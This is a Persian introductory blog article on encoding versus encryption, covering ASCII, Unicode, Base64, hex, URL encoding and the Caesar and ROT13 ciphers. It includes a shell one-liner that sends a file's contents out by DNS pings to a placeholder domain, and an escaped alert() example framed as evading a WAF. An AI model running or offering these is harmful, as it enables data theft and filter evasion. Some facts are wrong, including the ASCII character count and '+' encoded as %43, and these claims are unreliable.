رمزنگاری مقدماتی : Encoding و Encryption

 مقالات رمزنگاری مقدماتیبه زبان ساده : بررسی مفاهیم کدگذاری و رمزنگاری، شباهت ها و تفاوت هایشان
مقالات رمزنگاری مقدماتیبه زبان ساده : بررسی مفاهیم کدگذاری و رمزنگاری، شباهت ها و تفاوت هایشان


در این مطلب به بررسی Encoding و Encryption میپردازیم و میخوایم ببینیم چه فرقی باهم دارن و کجا استفاده میشن

رمزنگاری رو ما جلوتر به صورت مفصل بررسی میکنیم ، ولی به صورت مختصر بگم که وقتی ما یک عبارت رو (شامل یک کلمه یا یک رشته تا یک کتاب) رو به یک عبارت غیرقابل فهم تبدیل میکنیم و بعد اون رو منتقل یا ذخیره میکنیم و بعدا اون عبارت غیرقابل فهم رو رمزگشایی میکنیم و به متن اصلی میرسیم ، ما رمزنگاری کردیم

من جلوتر این مورد رو بررسی میکنم ولی فعلا همین رو توی ذهنتون داشته باشید

قبل از گفتن مفهوم Encoding باید با چند تا عبارت اشنا بشید :

  • مبنای 2-8-10-16 : در علوم کامپیوتر ما دیتا رو درمبنا های مختلفی نمایش میدیم ، مبنای 2 میشه باینری یا همون 0و1 ، مبنای 8 میشه اکتال و اعداد 0 تا 7 رو شامل میشه ، مبنای 10 میشه دسیمال و اعداد 0تا9 و مبنای 16 میشه هگز و اعداد 0تا15 رو شامل میشه ، ما بجای عدد 10 تا 15 از حروف ABCDEF استفاده میکنیم که جلوتر بهش اشاره میکنم
  • کاراکتر : وقتی شما میخواید حروفی رو توی صفحه مرورگرتون ببینید یا برای کسی تایپ کنید ، شما درواقع دارید کاراکتر تایپ میکنید ، هر کشور کاراکتر خاص خودشو داره چون زبان خاص خودشو داره
  • charset (character set) : به سیستمی گفته میشه که میاد از کاراکتر های خاص پشتیبانی میکنه و شما اگر از اون سیستم استفاده کنید میتونید از کاراکتر های مد نظر استفاده کنید به طوری که هم کامپیوتر منظور شمارو بفهمه هم خودتون
  • Symbol & Code point : سیمبول به شکلی میگن که شما روی صفحه میبینید ، مثلا ایموجی لبخند ، مثلا حرف "M" انگلیسی مثلا حرف "م" فارسی و... و کد پوینت به کدی میگن که بیانگر اون سیمبوله ، برای کامپیوتر سیمبول قابل تشخیص و فهم نیست و کامپیوتر از کد عددی یا عدد و حروف برای درک اون استفاده میکنه ، جلوتر مثالش رو میزنم ..
  • ASCII : یک کاراکتر ست یا سیستمی هست که مخصوص زبان انگلیسی آمریکایی ساخته شده و شامل 255 تا کاراکتر میشه ، منظور از "مخصوص زبان انگلیسی آمریکایی ساخته شده" چی هست ؟ یعنی اینکه شما نمیتونید توش از زبان چینی یا روسی استفاده کنید ، یا حتی از کاراکتر های © † ∑ α β « ، از لینک زیر میتونید به لیست کلیه حروف سیستم اسکی دسترسی پیدا کنید

برای مثال در سیستم اَسکی حرف "A" بزرگ انگلیسی یک سیمبول هست که چندین کد برای نمایشش وجود داره ، مثلا کد 41 هگز که توی همین مقاله باهاش آشنا میشیم

www.ascii-code.com
  • UNICODE : این کاراکتر ست جهانی و کامل است که امکان میدهد که هر کسی با هر زبانی بتواند از این سیستم استفاده کند و کامپیوتر هم با استفاده از این سیستم تقریبا تمامی زبان هارا متوجه میشود و کاراکتر ست فعلی وب الان یونیکد هست

یونیکد به سه صورت پیاده سازی شده : UTF-8 UTF-16 UTF-32 و عدد بعد هرکدوم بیانگر بیت هاییه که استفاده میشه برای نشون دادن کد پوینت هست

مثلا ما توی سند HTML خودمون باید ذکر کنیم از چه سیستمی داریم استفاده میکنیم :

<meta charset=&quotUTF-8&quot>

به عنوان مثال در سیستم یونیکد ما حرف انگلیسی A رو که سیمبول هست با کد پوینت U+0041 نمایش میدیم از لینک زیر میتونید به کل سیمبول ها و کد پوینت های سیستم یونیکد دسترسی داشته باشید :

https://symbl.cc/en/#0032

الان شاید بگوید که دونستن این ها به چه دردی میخورد ؟ ما سر تغییر حروف سیمبول اصلا حمله داریم به نام IDN Homograph Attacks یا typosquatting که همون URL Hijacking هست و ... و قراره کلی از این ها توی فرایند دور زدن مکانیزم های امنیتی و حتی چشم انسان استفاده کنیم :)

انکودینگ چیست :

به فرایند تغییر یک سری کاراکتر ها به کاراکتر های دیگر با فرمت مشخصی گفته میشود ، در انکودینگ شکل نمایش دیتا متفاوت میشود ولی دیتا تغییری نمیکند

معمولا برای جابجایی یا انتقال دیتا استفاده میشود و انکودینگ یک مکانیزم دوطرفه است ، یعنی شما متن یا فایل رو به صورت ساده میتونید تبدیل به یک عبارت بکنید و راحت برش گردونید (یک طرفه بودن رو در هش بیشتر بررسی میکنیم)

یکی از کاربرد های دیگه ای هم که انکودینگ دارد جلوگیری از دست رفتن دیتا موقع انتقال بخاطر عدم هماهنگی سیستم های انکودینگه ، این مفهوم رو بعدا بیشتر باهاش آشنا میشیم

انواع سیستم های انکودینگ :

1- BASE64 : این سیستم انکودینگ برای پروتوکول (HTTP) و وب ساخته شده بود و هدفش انتقال دیتا بود با تمرکز بر روی امنیت بیشتر

از لینک زیر میتونید جدول بیس 64 رو مشاهده کنید :

https://en.wikipedia.org/wiki/Base64

روش کار به چه صورت هست ؟ به این صورت عمل میکنه که میاد و کل عبارت ورود رو اول به صورت بایت در نظر میگیره (8بیت) و بعد تبدیلشون میکنه به گروه های 6 بیتی ، بعد که تبدیل به گروه های 6 تایی شد طبق جدول بهش مقدار دهی میشه؛

بزارید به عنوان مثال عبارت ویرگول رو تبدیل کنیم به یک استرینگ base64 :

01110110 01101001 01110010 01100111 01101111 01101111 01101100

عبارت بالا درواقع همون کلمات virgool هست ولی به مبنای 2 یا مبنای عدد باینری ! حالا ما میاییم این هارو 6 تا 6 تاش میکنیم بجای 8 تا 8 تا (اگر دسته اخری 6 تایی نشد مشکلی نیست)

(حواستون به اسپیس باشه که قبل یا بعد عبارت نزارید ، چون خودش کاراکتر حساب میشه و 8 تا بیت حجم میگیره)

011101-100110-100101-110010-011001-110110-111101-101111-011011-00

حالا توی جدول میگردیم ببینیم نظیر هرکدوم چه حرفی میشه، مثلا اولین گروهمون که 011101 هست میشه حرف d کوچیک ، و به همین ترتیب استرینگ ما میشه :

dmlyZ29vbA==

یعنی ما اگر بنویسیم virgool فرقی نداره با ==dmlyZ29vbA

نکته : چون ما از گروه های 6 تایی استفاده کردیم بجای 8 تایی ، نسبت دیتای خروجی مون به دیتای ورودی 33 درصد بیشتر میشه

نکته : وقتی دسته های کد 8 تایی مونو میکنیم 6 تایی ، اگر دسته اخر زیر 6 تا شد ما انتهاشو با 0 پر میکنیم ، به این عمل پَدینگ یا Padding میگن ، که توی رمزنگاری زیاد باهاش سروکار داریم

نکته : تو جدول بیس 64 ما برای پدینگ مقدار مساوی یا "=" رو در نظر میگیریم ، اگر به عبارت باینری ویرگول نگاه کنید متوجه میشید که اخرش دوتا صفر مونده و در نهایت ما در عبارت base64 شده دوتا = در انتهای فایل داریم، دیدن = در انتهای استرینگ یکی از ساده ترین و متداول ترین نشانه های شناخت استرینگ بیس64 هست

نکته : یکی از موارد کاربرد Base64 برای بحث استخراج دیتا هست که توی امنیت بهش برمیخورید ، یعنی فایل رو تبدیل به استرینگ بیس 64 میکنید و استرینگ رو ارسال میکنید و در نهایت پس از دریافت استرینگ میتونی مجدد اون رو تبدیل به فایل کنید

مثلا ما میتونیم بجای دادن آدرس فایل عبارت بیس 64 شو قرار بدیم :

<img_src=&quotR0lGODdhTQBYAPAAAP///xA3XSwAAAAATQBYAAAC/4SPqcvtD6OctNqLs968+w+G4kiW5omm6sq27gvHshjUM1fnjX4z+R/Y/XoI4NBnDN6SPCRTxmwqolIWVbm4VlNaoRbLvXq/YFN3TEZ9HWTg6Qxpl0NribwEn6RHecqeLoZRB9JnMehRaBj4saiR6EiF2IgTxTgJWSkZqfnE2dlxmfF4ESpYSroJeqqYqZpK2Qobu7FaMco6a1pr+yp6i/up2ysbjLrLe+yU7PerPOy6bNBGMh1XzXeXJTcHuO3t9vYtHia+vVJufo5+qLIe3e0ODhMvH0NvQ0RPVFS+P+Xt71+6gAcAEiw48KDBg9ISElyo0GHAbwwbZmMIEeO1ih4Wm/nzODEXxwRJRlo7YvLBlpQ+WLp8CTOmzJkyCgAAOw==&quotalt=&quotBase64 encoded image&quotwidth=&quot150&quotheight=&quot150&quot/>

یا مثلا برای بحث DNS Data Exfiltration میتونیم از بیس 64 استفاده کنیم با کد زیر :

cat file.txt | od -A n -t x1 | sed 's/ *//g' | while read file; do ping -c 1 $file.host.tld; done 

اگر کد رو متوجه نشدید یا کانسپت Data Exfiltration براتون مبهمه از این قسمت بگذرید و بعدا که یادگرفتید برگردید و دوباره مطالعه کنید

2- HEX(16) : هگز یا هگزادسیمال یا مبنای 16 که بالاتر گفتم به عنوان انکدوینگ مورد استفاده قرار میگیره ، هرچند بین علما اختلافه که انکودینگ هست یا نه ولی شما زیاد درگیرش نشید :)

وقتی میخواید وارد شاخه باینری اکسپلویت یا تست نفوذ شبکه بشید و میخواید با مقادیر حافظه کار کنید یا سطح پایین کد بزنید (Low Level Programming) نیاز دارید که با این زبان آشنا باشید ، کاربردی که در حوزه باینری داره اینه که باینری کلا 0 و1 عه ولی انسان ها چون نمیتونن با چشمشون راحت و سریع این مقادیر رو بخونن یا حتی متوجه بشن ، این مقادیر 0و1 تبدیل به مقادیر هگز میشن و در نهایت ما با اون ها کارمیکنیم، مقادیر هگز به 4 روش مختلف نمایش داده میشن :

  • #11 : این مدل بیشتر تو حوزه رنگ و گرافیک هست ، اگر با فتوشاپ کار کرده باشید برای مشخص کردن عدد یک رنگ مقدار هگزشو به این صورت وارد میکنید
  • H1 - 1h : این هم یک نوع نمایش هست که مثلا ترکیب عدد و بعد h رو برای نمایش مقادیر دوباره در دیباگر ها میبینید وقتی مهندسی معکوس میخواید بکنید
  • 11& : این مورد بیشتر در حوزه برنامه نویسی و بازم باینری کاربرد داره و شما وقتی میخواید مثلا به یک آدرس مموری اشاره کنید (Memory Pointer) از این سبک آدرس دهی استفاده میکنید
  • 0x11 : و در نهایت این مورد که توی دیباگر و بحث مهندسی معکوس استفاده میکنن برای کار با آدرس حافظه

سیستم بسیار ساده ای هم داره ، ما اعداد رو از 0 تا 9 میشماریم و از عدد 10 تا 15رو با حروف ABCDEF نمایش میدیم ، یعنی بجای 10 نمینویسیم 10 عددی ، مینویسیم A ، و این سیستم بیشتر جدولیه تا حفظی و فرمولی ، جدولشم همون لینک ASCII هست که اول مقاله دادم

نکته : توی نمایش مقادیر در مبنای هگز حروف بزرگ یا کوچیک مهم نیستن ، ولی اگر بخوایم حروف بزرگ و کوچیک رو در مبنای هگز نمایش بدیم باید کد جدا استفاده کنیم ، مثلا A میشه 0x41 و a میشه 0x61

3 - URL Encoding : این بیشتر از سیستم انکودینیگ یک سیستم جایگزینی هست ، چرا حالا ما این روش رو داریم؟ چون URL یک وبسایت فقط کاراکتر های ASCII رو قبول میکنه ، چرا ؟ چون در نهایت وب سرور نمیتونه متوجه بشه کاراکتری بجز ASCII ، لینک زیر رو باز کنید و مقادیری که برای هر کاراکتر هست رو مشاهده میکنید ، فقط در نظر داشته باشید که در این روش قبل هر عدد باید یه "%" هم بزاریم

https://www.w3schools.com/tags/ref_urlencode.ASP

برای مثال ما یه آدرس اینطوری داریم و میخوایم به سمت سرور پاسش بدیم(Pass) و سرور پارسش کنه (Pars یا پردازش) :

www.virgool.io/crypto+graphy
www.virgool.io/crypto%43graphy 

دقت کنید بجای + ما از %43 استفاده کردیم، این مورد در حملات سمت وب ، وقتی شما میخواید دست به آمپول بشید برای تزریقات خیلی بدردتون میخوره ;)

4 - UTF : یادتون که نرفته ، ما میتونیم با استفاده از این هم دیتارو به شکل های مختلف نمایش بدیم

نکته : مبناهای 2،8،10،16 ای که اول مقاله اشاره کردن هم بعضی جاها مبنای انکودینگ به حساب میان و هر کاراکتر میتونه به مبنا های مختلف تبدیل بشه که فکر کنم با یه سرچ ساده بتونید متوجه اش بشید (البته مبنا 16 اش مهم ترینشه که جدا بررسی کردم)

بحث ASCII و UNICODE خیلی مبحث مهمیه و درکش باعث میشه خیلی جاها به مشکل نخورید ، این مبحث تو بحث باینری زیاد مهم نیست ، ولی استفاده میشه ، مثلا وقتی میخوایم از یه API استفاده کنیم توی ویندوز ، دوتا تابع همیشه براش هست ، یکیش آخرش A هست و یکی W ، مثل CreateProcessA و CreateProcessW و اونی که آخرش A هست ASCII عه و اونی که W داره یونیکد محسوب میشه

بحث Encoding بیشتر در سمت تست نفوذ و امنیت وب کاربرد داره و من کلیات این موضوع رو از دید رمزنگاری کلی توضیح دادم ، اگر خواستیم برای بحث امنیت وب توی بحث Encoding عمیق بشید ، این لینک عالیه :

https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings


5 - الگریتم های ROT13 و Caesar یا سزار :
دلم نیامد این مورد رو اشاره نکنم بهش ،این هم جزو انکودینگ محسوب میشه ، جالبه بدونید که رمزنگاری اولین بار توسط جولیوس سزار ابداع شد و کاری که اون کرد جایگزینی حروف بود ، جایگاه عددی هر حرف رو در نظر بگیرید و موقع نوشتن ، مثلا هر حرف رو 6 تا ببرید جلو بعد بنویسید ، مثلا جایگاه A اول هست و B دوم و C سوم ، جایگاه G هفتم هست جایگاه H هشتم و I نهم ، حالا وقتی ما اینو 6 تا میبریم جلو (بجز خود اون حرف 6 تا) اگر ما کلمه AB رو بخوایم بنویسیم میشه GH

این روش کار الگریتم سزار بود ، خود الگریتم سزار روی 7 کلمه بود جایگشتش ، یه الگریتم دیگه هم هست که مشابه همونه کارکردن و اونم ROT هست که بعدش یه عدد میاد ک نمایانگر اون جایگشته ، ROT7 طبیعتا همون الگرتیم سزار میشه دیگه ؟ اگر سریال مستر ربات رو با دقت دیده باشید، توی یه صحنش الیوت از RO13 برای بازگشایی یه پیام استفاده میکنه :)

https://rot13.com/
https://cryptii.com/pipes/caesar-cipher

سایت بالایی خیلی جوابه ، هرچی خواستید از Base64 و URL Encode و اینا تست کنید همه رو داره.

تمرین اول : اگر وب کارید لینک بالا رو اول باز کنید و HTML Encoding رو بخونید ، این مورد برای کنترل حملات سمت کلاینت مثل XSS خیلی کاربردیه و ویرگولم ازش استفاده کرده ، این مقالرو با دقت خونده باشید متوجه میشید کجاشو میگم :)

تمرین دوم : به عنوان تمرین دوم بعد خوندن کامل مقاله و اگر شد لینک بالا ، خودتون حدس بزنید کد پایین جزو کدوم دسته از انکودینگ حساب میشه ؟

ما آمدیم یک تابع به زبان جاوا اسکریپت رو انکود کردیم که برای نشون دادن کوکی کاربرد داره و هدف ما دور زودن مکانیزم های امنیتی (WAF) هست

al\u0065rt()

در مطلب بعدی به بررسی مفاهیم Hashing و HMAC میپردازیم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی :)